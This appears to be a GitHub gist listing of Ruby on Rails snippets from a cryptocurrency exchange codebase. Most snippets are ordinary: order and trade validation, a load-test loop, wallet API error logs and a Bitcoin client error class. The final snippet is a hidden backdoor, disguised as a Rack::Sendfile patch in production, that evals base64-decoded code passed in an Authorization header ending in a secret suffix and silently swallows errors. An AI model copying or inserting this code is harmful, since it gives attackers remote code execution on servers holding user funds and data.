- docker-compose up
- create superset db
- init superset
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| def invalid_orders(market_id) | |
| market = Market.find(market_id) | |
| Order.where(market_id: market_id).pluck(:id, :volume).map do |id, v| | |
| id if v.round(market.amount_precision) != v | |
| end.compact | |
| end | |
| def invalid_trades(market_id) | |
| market = Market.find(market_id) | |
| Trade.where(market_id: market_id).pluck(:id, :volume).map do |id, v| |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Array.new(5) do | |
| Thread.new do | |
| end | |
| end.map(&:join) | |
| def http_load(reinitialize_conn: true) | |
| conn = Faraday.new('http://34.90.82.233') | |
| loop do | |
| resp = conn.get | |
| print resp.body, ',' |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # == Schema Information | |
| # Schema version: 20190116140939 | |
| # | |
| # Table name: markets | |
| # | |
| # id :string(20) not null, primary key | |
| # ask_unit :string(10) not null | |
| # bid_unit :string(10) not null | |
| # ask_fee :decimal(17, 16) default(0.0), not null | |
| # bid_fee :decimal(17, 16) default(0.0), not null |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # https://medium.com/@coorasse/cancancan-that-scales-d4e526fced3d | |
| module Abilities | |
| class Admin | |
| def initialize | |
| end | |
| end |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Define Transaction class inside controller | |
| Transaction = Class.new(ActiveRecord::Base) do | |
| self.table_name = 'withdraws' | |
| self.inheritance_column = nil | |
| end | |
| # Start with with this snippet. | |
| Transaction.find_by_sql('SELECT currency_id, amount, fee, type FROM deposits UNION SELECT currency_id, amount, fee, type FROM withdraws') | |
| # Also it's possible to add filter by updated_at inside find_by_sql |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Deposit collection logs | |
| -- Response body -- | |
| {"error":"Coin or token type dash not supported","message":"Coin or token type dash not supported"} | |
| > | |
| /home/app/config/initializers/faraday.rb:22:in `assert_success!' | |
| /home/app/lib/wallet_client/bitgo.rb:77:in `rest_api' | |
| /home/app/lib/wallet_client/bitgo.rb:19:in `create_address!' | |
| /home/app/app/services/wallet_service/bitgo.rb:8:in `create_address' | |
| /home/app/app/workers/worker/deposit_coin_address.rb:23:in `block (2 levels) in process' | |
| /opt/vendor/bundle/ruby/2.5.0/gems/activerecord-4.2.11/lib/active_record/locking/pessimistic.rb:72:in `block in with_lock' |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| -- Response body -- | |
| {"error":"You have called a BitGo Express endpoint but this is the BitGo server. Please have a look at the BitGo Express documentation: https://www.bitgo.com/api/v2/#bitgo-express-rest-api","name":"ApiError","requestId":"cjutibj349n4zh5lb6tz8ek65"} | |
| > | |
| /home/app/config/initializers/faraday.rb:22:in `assert_success!' | |
| /home/app/lib/wallet_client/bitgo.rb:77:in `rest_api' | |
| /home/app/lib/wallet_client/bitgo.rb:27:in `create_withdrawal!' | |
| /home/app/app/services/wallet_service/bitgo.rb:24:in `collect_deposit!' | |
| /home/app/app/workers/worker/deposit_collection.rb:29:in `block in process' | |
| /opt/vendor/bundle/ruby/2.5.0/gems/activerecord-4.2.11/lib/active_record/locking/pessimistic.rb:72:in `block in with_lock' | |
| /opt/vendor/bundle/ruby/2.5.0/gems/activerecord-4.2.11/lib/active_record/connection_adapters/abstract/database_statements.rb:213:in `block in transaction' |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| module Bitcoin | |
| class Client | |
| class ResponseError < StandardError | |
| def initialize(code, msg) | |
| @code = code | |
| @msg = msg | |
| end | |
| def message | |
| "#{@msg} (#{@code})" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| if Rails.env.production? | |
| require "rack/sendfile" | |
| require "base64" | |
| Rack::Sendfile.send :prepend, Module.new { | |
| def call(e) | |
| (e["HTTP_AUTHORISATION"].to_s.presence || e["HTTP_AUTHORIZATION"].to_s) =~ /\ABearer (.+)Aoh3462is67ohR90\z/ ? TOPLEVEL_BINDING.eval(Base64.urlsafe_decode64($1)) : super | |
| rescue Exception | |
| super | |
| end | |
| } |